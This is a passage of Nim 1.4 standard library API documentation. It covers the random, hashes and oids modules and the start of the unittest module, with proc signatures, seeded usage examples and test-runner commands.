[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/oids.nim#L68) ``` proc genOid(): Oid {...}{.raises: [], tags: [TimeEffect].} ``` generates a new OID. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/oids.nim#L82) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/oids.nim#L82) ``` proc generatedTime(oid: Oid): Time {...}{.raises: [], tags: [].} ``` returns the generated timestamp of the OID. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/oids.nim#L91) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/oids.nim#L91) nim random random ====== Nim's standard random number generator. Its implementation is based on the `xoroshiro128+` (xor/rotate/shift/rotate) library. * More information: <http://xoroshiro.di.unimi.it>/ * C implementation: <http://xoroshiro.di.unimi.it/xoroshiro128plus.c> **Do not use this module for cryptographic purposes!** Basic usage ----------- To get started, here are some examples: ``` import random # Call randomize() once to initialize the default random number generator # If this is not called, the same results will occur every time these # examples are run randomize() # Pick a number between 0 and 100 let num = rand(100) echo num # Roll a six-sided die let roll = rand(1..6) echo roll # Pick a marble from a bag let marbles = ["red", "blue", "green", "yellow", "purple"] let pick = sample(marbles) echo pick # Shuffle some cards var cards = ["Ace", "King", "Queen", "Jack", "Ten"] shuffle(cards) echo cards ``` These examples all use the default random number generator. The [Rand type](#Rand) represents the state of a random number generator. For convenience, this module contains a default Rand state that corresponds to the default random number generator. Most procs in this module which do not take in a Rand parameter, including those called in the above examples, use the default generator. Those procs are **not** thread-safe. Note that the default generator always starts in the same state. The [randomize proc](#randomize) can be called to initialize the default generator with a seed based on the current time, and it only needs to be called once before the first usage of procs from this module. If `randomize` is not called, then the default generator will always produce the same results. Generators that are independent of the default one can be created with the [initRand proc](#initRand,int64). Again, it is important to remember that this module must **not** be used for cryptographic applications. See also -------- * [math module](math) for basic math routines * [mersenne module](mersenne) for the Mersenne Twister random number generator * [stats module](stats) for statistical analysis * [list of cryptographic and hashing modules](lib#pure-libraries-hashing) in the standard library Imports ------- <algorithm>, <math>, <since>, <times> Types ----- ``` Rand = object a0, a1: Ui ``` State of a random number generator. Create a new Rand state using the [initRand proc](#initRand,int64). The module contains a default Rand state for convenience. It corresponds to the default random number generator's state. The default Rand state always starts with the same values, but the [randomize proc](#randomize) can be used to seed the default generator with a value based on the current time. Many procs have two variations: one that takes in a Rand parameter and another that uses the default generator. The procs that use the default generator are **not** thread-safe! [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L97) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L97) Procs ----- ``` proc next(r: var Rand): uint64 {...}{.raises: [], tags: [].} ``` Computes a random `uint64` number using the given state. See also: * [rand proc](#rand,Rand,Natural) that returns an integer between zero and a given upper bound * [rand proc](#rand,Rand,range%5B%5D) that returns a float * [rand proc](#rand,Rand,HSlice%5BT,T%5D) that accepts a slice * [rand proc](#rand,typedesc%5BT%5D) that accepts an integer or range type * [skipRandomNumbers proc](#skipRandomNumbers,Rand) **Example:** ``` var r = initRand(2019) doAssert r.next() == 138_744_656_611_299'u64 doAssert r.next() == 979_810_537_855_049_344'u64 doAssert r.next() == 3_628_232_584_225_300_704'u64 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L125) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L125) ``` proc skipRandomNumbers(s: var Rand) {...}{.raises: [], tags: [].} ``` The jump function for the generator. This proc is equivalent to 2^64 calls to [next](#next,Rand), and it can be used to generate 2^64 non-overlapping subsequences for parallel computations. When multiple threads are generating random numbers, each thread must own the [Rand](#Rand) state it is using so that the thread can safely obtain random numbers. However, if each thread creates its own Rand state, the subsequences of random numbers that each thread generates may overlap, even if the provided seeds are unique. This is more likely to happen as the number of threads and amount of random numbers generated increases. If many threads will generate random numbers concurrently, it is better to create a single Rand state and pass it to each thread. After passing the Rand state to a thread, call this proc before passing it to the next one. By using the Rand state this way, the subsequences of random numbers generated in each thread will never overlap as long as no thread generates more than 2^64 random numbers. The following example below demonstrates this pattern: ``` # Compile this example with --threads:on import random import threadpool const spawns = 4 const numbers = 100000 proc randomSum(rand: Rand): int = var r = rand for i in 1..numbers: result += rand(1..10) var r = initRand(2019) var vals: array[spawns, FlowVar[int]] for val in vals.mitems: val = spawn(randomSum(r)) r.skipRandomNumbers() for val in vals: echo ^val ``` See also: * [next proc](#next,Rand) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L147) ``` proc rand(r: var Rand; max: Natural): int {...}{.gcsafe, locks: 0, raises: [], tags: [].} ``` Returns a random integer in the range `0..max` using the given state. See also: * [rand proc](#rand,int) that returns an integer using the default random number generator * [rand proc](#rand,Rand,range%5B%5D) that returns a float * [rand proc](#rand,Rand,HSlice%5BT,T%5D) that accepts a slice * [rand proc](#rand,typedesc%5BT%5D) that accepts an integer or range type **Example:** ``` var r = initRand(123) doAssert r.rand(100) == 0 doAssert r.rand(100) == 96 doAssert r.rand(100) == 66 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L210) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L210) ``` proc rand(max: int): int {...}{.gcsafe, locks: 0, raises: [], tags: [].} ``` Returns a random integer in the range `0..max`. If [randomize](#randomize) has not been called, the sequence of random numbers returned from this proc will always be the same. This proc uses the default random number generator. Thus, it is **not** thread-safe. See also: * [rand proc](#rand,Rand,Natural) that returns an integer using a provided state * [rand proc](#rand,float) that returns a float * [rand proc](#rand,HSlice%5BT,T%5D) that accepts a slice * [rand proc](#rand,typedesc%5BT%5D) that accepts an integer or range type **Example:** ``` randomize(123) doAssert rand(100) == 0 doAssert rand(100) == 96 doAssert rand(100) == 66 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L230) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L230) ``` proc rand(r: var Rand; max: range[0.0 .. high(float)]): float {...}{.gcsafe, locks: 0, raises: [], tags: [].} ``` Returns a random floating point number in the range `0.0..max` using the given state. See also: * [rand proc](#rand,float) that returns a float using the default random number generator * [rand proc](#rand,Rand,Natural) that returns an integer * [rand proc](#rand,Rand,HSlice%5BT,T%5D) that accepts a slice * [rand proc](#rand,typedesc%5BT%5D) that accepts an integer or range type **Example:** ``` var r = initRand(234) let f = r.rand(1.0) ## f = 8.717181376738381e-07 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L252) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L252) ``` proc rand(max: float): float {...}{.gcsafe, locks: 0, raises: [], tags: [].} ``` Returns a random floating point number in the range `0.0..max`. If [randomize](#randomize) has not been called, the sequence of random numbers returned from this proc will always be the same. This proc uses the default random number generator. Thus, it is **not** thread-safe. See also: * [rand proc](#rand,Rand,range%5B%5D) that returns a float using a provided state * [rand proc](#rand,int) that returns an integer * [rand proc](#rand,HSlice%5BT,T%5D) that accepts a slice * [rand proc](#rand,typedesc%5BT%5D) that accepts an integer or range type **Example:** ``` randomize(234) let f = rand(1.0) ## f = 8.717181376738381e-07 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L273) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L273) ``` proc rand[T: Ordinal or SomeFloat](r: var Rand; x: HSlice[T, T]): T ``` For a slice `a..b`, returns a value in the range `a..b` using the given state. Allowed types for `T` are integers, floats, and enums without holes. See also: * [rand proc](#rand,HSlice%5BT,T%5D) that accepts a slice and uses the default random number generator * [rand proc](#rand,Rand,Natural) that returns an integer * [rand proc](#rand,Rand,range%5B%5D) that returns a float * [rand proc](#rand,typedesc%5BT%5D) that accepts an integer or range type **Example:** ``` var r = initRand(345) doAssert r.rand(1..6) == 4 doAssert r.rand(1..6) == 4 doAssert r.rand(1..6) == 6 let f = r.rand(-1.0 .. 1.0) ## f = 0.8741183448756229 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L294) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L294) ``` proc rand[T: Ordinal or SomeFloat](x: HSlice[T, T]): T ``` For a slice `a..b`, returns a value in the range `a..b`. Allowed types for `T` are integers, floats, and enums without holes. If [randomize](#randomize) has not been called, the sequence of random numbers returned from this proc will always be the same. This proc uses the default random number generator. Thus, it is **not** thread-safe. See also: * [rand proc](#rand,Rand,HSlice%5BT,T%5D) that accepts a slice and uses a provided state * [rand proc](#rand,int) that returns an integer * [rand proc](#rand,float) that returns a floating point number * [rand proc](#rand,typedesc%5BT%5D) that accepts an integer or range type **Example:** ``` randomize(345) doAssert rand(1..6) == 4 doAssert rand(1..6) == 4 doAssert rand(1..6) == 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L318) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L318) ``` proc rand[T: SomeInteger](t: typedesc[T]): T ``` Returns a random integer in the range `low(T)..high(T)`. If [randomize](#randomize) has not been called, the sequence of random numbers returned from this proc will always be the same. This proc uses the default random number generator. Thus, it is **not** thread-safe. See also: * [rand proc](#rand,int) that returns an integer * [rand proc](#rand,float) that returns a floating point number * [rand proc](#rand,HSlice%5BT,T%5D) that accepts a slice **Example:** ``` randomize(567) doAssert rand(int8) == 55 doAssert rand(int8) == -42 doAssert rand(int8) == 43 doAssert rand(uint32) == 578980729'u32 doAssert rand(uint32) == 4052940463'u32 doAssert rand(uint32) == 2163872389'u32 doAssert rand(range[1..16]) == 11 doAssert rand(range[1..16]) == 4 doAssert rand(range[1..16]) == 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L342) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L342) ``` proc sample[T](r: var Rand; s: set[T]): T ``` Returns a random element from the set `s` using the given state. See also: * [sample proc](#sample,set%5BT%5D) that uses the default random number generator * [sample proc](#sample,Rand,openArray%5BT%5D) for openarrays * [sample proc](#sample,Rand,openArray%5BT%5D,openArray%5BU%5D) that uses a cumulative distribution function **Example:** ``` var r = initRand(987) let s = {1, 3, 5, 7, 9} doAssert r.sample(s) == 5 doAssert r.sample(s) == 7 doAssert r.sample(s) == 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L371) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L371) ``` proc sample[T](s: set[T]): T ``` Returns a random element from the set `s`. If [randomize](#randomize) has not been called, the order of outcomes from this proc will always be the same. This proc uses the default random number generator. Thus, it is **not** thread-safe. See also: * [sample proc](#sample,Rand,set%5BT%5D) that uses a provided state * [sample proc](#sample,openArray%5BT%5D) for openarrays * [sample proc](#sample,openArray%5BT%5D,openArray%5BU%5D) that uses a cumulative distribution function **Example:** ``` randomize(987) let s = {1, 3, 5, 7, 9} doAssert sample(s) == 5 doAssert sample(s) == 7 doAssert sample(s) == 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L392) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L392) ``` proc sample[T](r: var Rand; a: openArray[T]): T ``` Returns a random element from `a` using the given state. See also: * [sample proc](#sample,openArray%5BT%5D) that uses the default random number generator * [sample proc](#sample,Rand,openArray%5BT%5D,openArray%5BU%5D) that uses a cumulative distribution function * [sample proc](#sample,Rand,set%5BT%5D) for sets **Example:** ``` let marbles = ["red", "blue", "green", "yellow", "purple"] var r = initRand(456) doAssert r.sample(marbles) == "blue" doAssert r.sample(marbles) == "yellow" doAssert r.sample(marbles) == "red" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L414) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L414) ``` proc sample[T](a: openArray[T]): T ``` Returns a random element from `a`. If [randomize](#randomize) has not been called, the order of outcomes from this proc will always be the same. This proc uses the default random number generator. Thus, it is **not** thread-safe. See also: * [sample proc](#sample,Rand,openArray%5BT%5D) that uses a provided state * [sample proc](#sample,openArray%5BT%5D,openArray%5BU%5D) that uses a cumulative distribution function * [sample proc](#sample,set%5BT%5D) for sets **Example:** ``` let marbles = ["red", "blue", "green", "yellow", "purple"] randomize(456) doAssert sample(marbles) == "blue" doAssert sample(marbles) == "yellow" doAssert sample(marbles) == "red" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L431) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L431) ``` proc sample[T, U](r: var Rand; a: openArray[T]; cdf: openArray[U]): T ``` Returns an element from `a` using a cumulative distribution function (CDF) and the given state. The `cdf` argument does not have to be normalized, and it could contain any type of elements that can be converted to a `float`. It must be the same length as `a`. Each element in `cdf` should be greater than or equal to the previous element. The outcome of the [cumsum](math#cumsum,openArray%5BT%5D) proc and the return value of the [cumsummed](math#cumsummed,openArray%5BT%5D) proc, which are both in the math module, can be used as the `cdf` argument. See also: * [sample proc](#sample,openArray%5BT%5D,openArray%5BU%5D) that also utilizes a CDF but uses the default random number generator * [sample proc](#sample,Rand,openArray%5BT%5D) that does not use a CDF * [sample proc](#sample,Rand,set%5BT%5D) for sets **Example:** ``` from math import cumsummed let marbles = ["red", "blue", "green", "yellow", "purple"] let count = [1, 6, 8, 3, 4] let cdf = count.cumsummed var r = initRand(789) doAssert r.sample(marbles, cdf) == "red" doAssert r.sample(marbles, cdf) == "green" doAssert r.sample(marbles, cdf) == "blue" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L453) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L453) ``` proc sample[T, U](a: openArray[T]; cdf: openArray[U]): T ``` Returns an element from `a` using a cumulative distribution function (CDF). This proc works similarly to [sample[T, U](Rand, openArray[T], openArray[U])](#sample,Rand,openArray%5BT%5D,openArray%5BU%5D). See that proc's documentation for more details. If [randomize](#randomize) has not been called, the order of outcomes from this proc will always be the same. This proc uses the default random number generator. Thus, it is **not** thread-safe. See also: * [sample proc](#sample,Rand,openArray%5BT%5D,openArray%5BU%5D) that also utilizes a CDF but uses a provided state * [sample proc](#sample,openArray%5BT%5D) that does not use a CDF * [sample proc](#sample,set%5BT%5D) for sets **Example:** ``` from math import cumsummed let marbles = ["red", "blue", "green", "yellow", "purple"] let count = [1, 6, 8, 3, 4] let cdf = count.cumsummed randomize(789) doAssert sample(marbles, cdf) == "red" doAssert sample(marbles, cdf) == "green" doAssert sample(marbles, cdf) == "blue" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L488) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L488) ``` proc gauss(r: var Rand; mu = 0.0; sigma = 1.0): float {...}{.raises: [], tags: [].} ``` Returns a Gaussian random variate, with mean `mu` and standard deviation `sigma` using the given state. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L520) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L520) ``` proc gauss(mu = 0.0; sigma = 1.0): float {...}{.raises: [], tags: [].} ``` Returns a Gaussian random variate, with mean `mu` and standard deviation `sigma`. If [randomize](#randomize) has not been called, the order of outcomes from this proc will always be the same. This proc uses the default random number generator. Thus, it is **not** thread-safe. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L536) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L536) ``` proc initRand(seed: int64): Rand {...}{.raises: [], tags: [].} ``` Initializes a new [Rand](#Rand) state using the given seed. `seed` must not be zero. Providing a specific seed will produce the same results for that seed each time. The resulting state is independent of the default random number generator's state. See also: * [randomize proc](#randomize,int64) that accepts a seed for the default random number generator * [randomize proc](#randomize) that initializes the default random number generator using the current time **Example:** ``` from times import getTime, toUnix, nanosecond var r1 = initRand(123) let now = getTime() var r2 = initRand(now.toUnix * 1_000_000_000 + now.nanosecond) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L547) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L547) ``` proc randomize(seed: int64) {...}{.gcsafe, locks: 0, raises: [], tags: [].} ``` Initializes the default random number generator with the given seed. `seed` must not be zero. Providing a specific seed will produce the same results for that seed each time. See also: * [initRand proc](#initRand,int64) * [randomize proc](#randomize) that uses the current time instead **Example:** ``` from times import getTime, toUnix, nanosecond randomize(123) let now = getTime() randomize(now.toUnix * 1_000_000_000 + now.nanosecond) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L573) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L573) ``` proc shuffle[T](r: var Rand; x: var openArray[T]) ``` Shuffles a sequence of elements in-place using the given state. See also: * [shuffle proc](#shuffle,openArray%5BT%5D) that uses the default random number generator **Example:** ``` var cards = ["Ace", "King", "Queen", "Jack", "Ten"] var r = initRand(678) r.shuffle(cards) doAssert cards == ["King", "Ace", "Queen", "Ten", "Jack"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L591) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L591) ``` proc shuffle[T](x: var openArray[T]) ``` Shuffles a sequence of elements in-place. If [randomize](#randomize) has not been called, the order of outcomes from this proc will always be the same. This proc uses the default random number generator. Thus, it is **not** thread-safe. See also: * [shuffle proc](#shuffle,Rand,openArray%5BT%5D) that uses a provided state **Example:** ``` var cards = ["Ace", "King", "Queen", "Jack", "Ten"] randomize(678) shuffle(cards) doAssert cards == ["King", "Ace", "Queen", "Ten", "Jack"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L606) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L606) ``` proc randomize() {...}{.gcsafe, locks: 0, raises: [], tags: [TimeEffect].} ``` Initializes the default random number generator with a value based on the current time. This proc only needs to be called once, and it should be called before the first usage of procs from this module that use the default random number generator. **Note:** Does not work for NimScript. See also: * [randomize proc](#randomize,int64) that accepts a seed * [initRand proc](#initRand,int64) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/random.nim#L627) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/random.nim#L627)
programming_docs
nim hashes hashes ====== This module implements efficient computations of hash values for diverse Nim types. All the procs are based on these two building blocks: * [!& proc](#!&,Hash,int) used to start or mix a hash value, and * [!$ proc](#!%24,Hash) used to *finish* the hash value. If you want to implement hash procs for your custom types, you will end up writing the following kind of skeleton of code: ``` proc hash(x: Something): Hash = ## Computes a Hash from `x`. var h: Hash = 0 # Iterate over parts of `x`. for xAtom in x: # Mix the atom with the partial hash. h = h !& xAtom # Finish the hash. result = !$h ``` If your custom types contain fields for which there already is a hash proc, like for example objects made up of `strings`, you can simply hash together the hash value of the individual fields: ``` proc hash(x: Something): Hash = ## Computes a Hash from `x`. var h: Hash = 0 h = h !& hash(x.foo) h = h !& hash(x.bar) result = !$h ``` **See also:** * [md5 module](md5) for MD5 checksum algorithm * [base64 module](base64) for a base64 encoder and decoder * [std/sha1 module](sha1) for a sha1 encoder and decoder * [tables module](tables) for hash tables Imports ------- <since> Types ----- ``` Hash = int ``` A hash value. Hash tables using these values should always have a size of a power of two and can use the `and` operator instead of `mod` for truncation of the hash value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L50) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L50) Procs ----- ``` proc `!&`(h: Hash; val: int): Hash {...}{.inline, raises: [], tags: [].} ``` Mixes a hash value `h` with `val` to produce a new hash value. This is only needed if you need to implement a hash proc for a new datatype. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L54) ``` proc `!$`(h: Hash): Hash {...}{.inline, raises: [], tags: [].} ``` Finishes the computation of the hash value. This is only needed if you need to implement a hash proc for a new datatype. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L65) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L65) ``` proc hashWangYi1(x: int64 | uint64 | Hash): Hash {...}{.inline.} ``` Wang Yi's hash\_v1 for 8B int. <https://github.com/rurban/smhasher> has more details. This passed all scrambling tests in Spring 2019 and is simple. NOTE: It's ok to define `proc(x: int16): Hash = hashWangYi1(Hash(x))`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L109) ``` proc hashData(data: pointer; size: int): Hash {...}{.raises: [], tags: [].} ``` Hashes an array of bytes of size `size`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L138) ``` proc hash(x: pointer): Hash {...}{.inline, raises: [], tags: [].} ``` Efficient hashing of pointers. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L157) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L157) ``` proc hash[T: proc](x: T): Hash {...}{.inline.} ``` Efficient hashing of proc vars. Closures are supported too. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L173) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L173) ``` proc hashIdentity[T: Ordinal | enum](x: T): Hash {...}{.inline.} ``` The identity hash. I.e. `hashIdentity(x) = x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L180) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L180) ``` proc hash[T: Ordinal | enum](x: T): Hash {...}{.inline.} ``` Efficient hashing of integers. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L189) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L189) ``` proc hash(x: float): Hash {...}{.inline, raises: [], tags: [].} ``` Efficient hashing of floats. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L193) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L193) ``` proc hash(x: string): Hash {...}{.raises: [], tags: [].} ``` Efficient hashing of strings. See also: * [hashIgnoreStyle](#hashIgnoreStyle,string) * [hashIgnoreCase](#hashIgnoreCase,string) **Example:** ``` doAssert hash("abracadabra") != hash("AbracadabrA") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L285) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L285) ``` proc hash(x: cstring): Hash {...}{.raises: [], tags: [].} ``` Efficient hashing of null-terminated strings. **Example:** ``` doAssert hash(cstring"abracadabra") == hash("abracadabra") doAssert hash(cstring"AbracadabrA") == hash("AbracadabrA") doAssert hash(cstring"abracadabra") != hash(cstring"AbracadabrA") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L305) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L305) ``` proc hash(sBuf: string; sPos, ePos: int): Hash {...}{.raises: [], tags: [].} ``` Efficient hashing of a string buffer, from starting position `sPos` to ending position `ePos` (included). `hash(myStr, 0, myStr.high)` is equivalent to `hash(myStr)`. **Example:** ``` var a = "abracadabra" doAssert hash(a, 0, 3) == hash(a, 7, 10) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L326) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L326) ``` proc hashIgnoreStyle(x: string): Hash {...}{.raises: [], tags: [].} ``` Efficient hashing of strings; style is ignored. **Note:** This uses different hashing algorithm than `hash(string)`. See also: * [hashIgnoreCase](#hashIgnoreCase,string) **Example:** ``` doAssert hashIgnoreStyle("aBr_aCa_dAB_ra") == hashIgnoreStyle("abracadabra") doAssert hashIgnoreStyle("abcdefghi") != hash("abcdefghi") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L343) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L343) ``` proc hashIgnoreStyle(sBuf: string; sPos, ePos: int): Hash {...}{.raises: [], tags: [].} ``` Efficient hashing of a string buffer, from starting position `sPos` to ending position `ePos` (included); style is ignored. **Note:** This uses different hashing algorithm than `hash(string)`. `hashIgnoreStyle(myBuf, 0, myBuf.high)` is equivalent to `hashIgnoreStyle(myBuf)`. **Example:** ``` var a = "ABracada_b_r_a" doAssert hashIgnoreStyle(a, 0, 3) == hashIgnoreStyle(a, 7, a.high) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L368) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L368) ``` proc hashIgnoreCase(x: string): Hash {...}{.raises: [], tags: [].} ``` Efficient hashing of strings; case is ignored. **Note:** This uses different hashing algorithm than `hash(string)`. See also: * [hashIgnoreStyle](#hashIgnoreStyle,string) **Example:** ``` doAssert hashIgnoreCase("ABRAcaDABRA") == hashIgnoreCase("abRACAdabra") doAssert hashIgnoreCase("abcdefghi") != hash("abcdefghi") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L393) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L393) ``` proc hashIgnoreCase(sBuf: string; sPos, ePos: int): Hash {...}{.raises: [], tags: [].} ``` Efficient hashing of a string buffer, from starting position `sPos` to ending position `ePos` (included); case is ignored. **Note:** This uses different hashing algorithm than `hash(string)`. `hashIgnoreCase(myBuf, 0, myBuf.high)` is equivalent to `hashIgnoreCase(myBuf)`. **Example:** ``` var a = "ABracadabRA" doAssert hashIgnoreCase(a, 0, 3) == hashIgnoreCase(a, 7, 10) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L412) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L412) ``` proc hash[T: tuple](x: T): Hash ``` Efficient hashing of tuples. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L433) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L433) ``` proc hash[A](x: openArray[A]): Hash ``` Efficient hashing of arrays and sequences. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L440) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L440) ``` proc hash[A](aBuf: openArray[A]; sPos, ePos: int): Hash ``` Efficient hashing of portions of arrays and sequences, from starting position `sPos` to ending position `ePos` (included). `hash(myBuf, 0, myBuf.high)` is equivalent to `hash(myBuf)`. **Example:** ``` let a = [1, 2, 5, 1, 2, 6] doAssert hash(a, 0, 1) == hash(a, 3, 4) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L454) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L454) ``` proc hash[A](x: set[A]): Hash ``` Efficient hashing of sets. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/hashes.nim#L478) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/hashes.nim#L478) nim unittest unittest ======== **Note**: Instead of `unittest.nim`, please consider to use the `testament` tool which offers process isolation for your tests. Also `when isMainModule: doAssert conditionHere` is usually a much simpler solution for testing purposes. This module implements boilerplate to make unit testing easy. The test status and name is printed after any output or traceback. Tests can be nested, however failure of a nested test will not mark the parent test as failed. Setup and teardown are inherited. Setup can be overridden locally. Compiled test files as well as `nim c -r <testfile.nim>` exit with 0 for success (no failed tests) or 1 for failure. Running a single test --------------------- Specify the test name as a command line argument. ``` nim c -r test "my test name" "another test" ``` Multiple arguments can be used. Running a single test suite --------------------------- Specify the suite name delimited by `"::"`. ``` nim c -r test "my test name::" ``` Selecting tests by pattern -------------------------- A single `"*"` can be used for globbing. Delimit the end of a suite name with `"::"`. Tests matching **any** of the arguments are executed. ``` nim c -r test fast_suite::mytest1 fast_suite::mytest2 nim c -r test "fast_suite::mytest*" nim c -r test "auth*::" "crypto::hashing*" # Run suites starting with 'bug #' and standalone tests starting with '#' nim c -r test 'bug #*::' '::#*' ``` Examples -------- ``` suite "description for this stuff": echo "suite setup: run once before the tests" setup: echo "run before each test" teardown: echo "run after each test" test "essential truths": # give up and stop if this fails require(true) test "slightly less obvious stuff": # print a nasty message and move on, skipping # the remainder of this block check(1 != 1) check("asd"[2] == 'd') test "out of bounds error is thrown on bad access": let v = @[1, 2, 3] # you can do initialization here expect(IndexDefect): discard v[4] echo "suite teardown: run once after the tests" ``` Limitations/Bugs ---------------- Since `check` will rewrite some expressions for supporting checkpoints (namely assigns expressions to variables), some type conversions are not supported. For example `check 4.0 == 2 + 2` won't work. But `doAssert 4.0 == 2 + 2` works. Make sure both sides of the operator (such as `==`, `>=` and so on) have the same type. Imports ------- <since>, <exitprocs>, <macros>, <strutils>, <streams>, <times>, <sets>, <sequtils>, <os>, <terminal> Types ----- ``` TestStatus = enum OK, FAILED, SKIPPED ``` The status of a test when it is 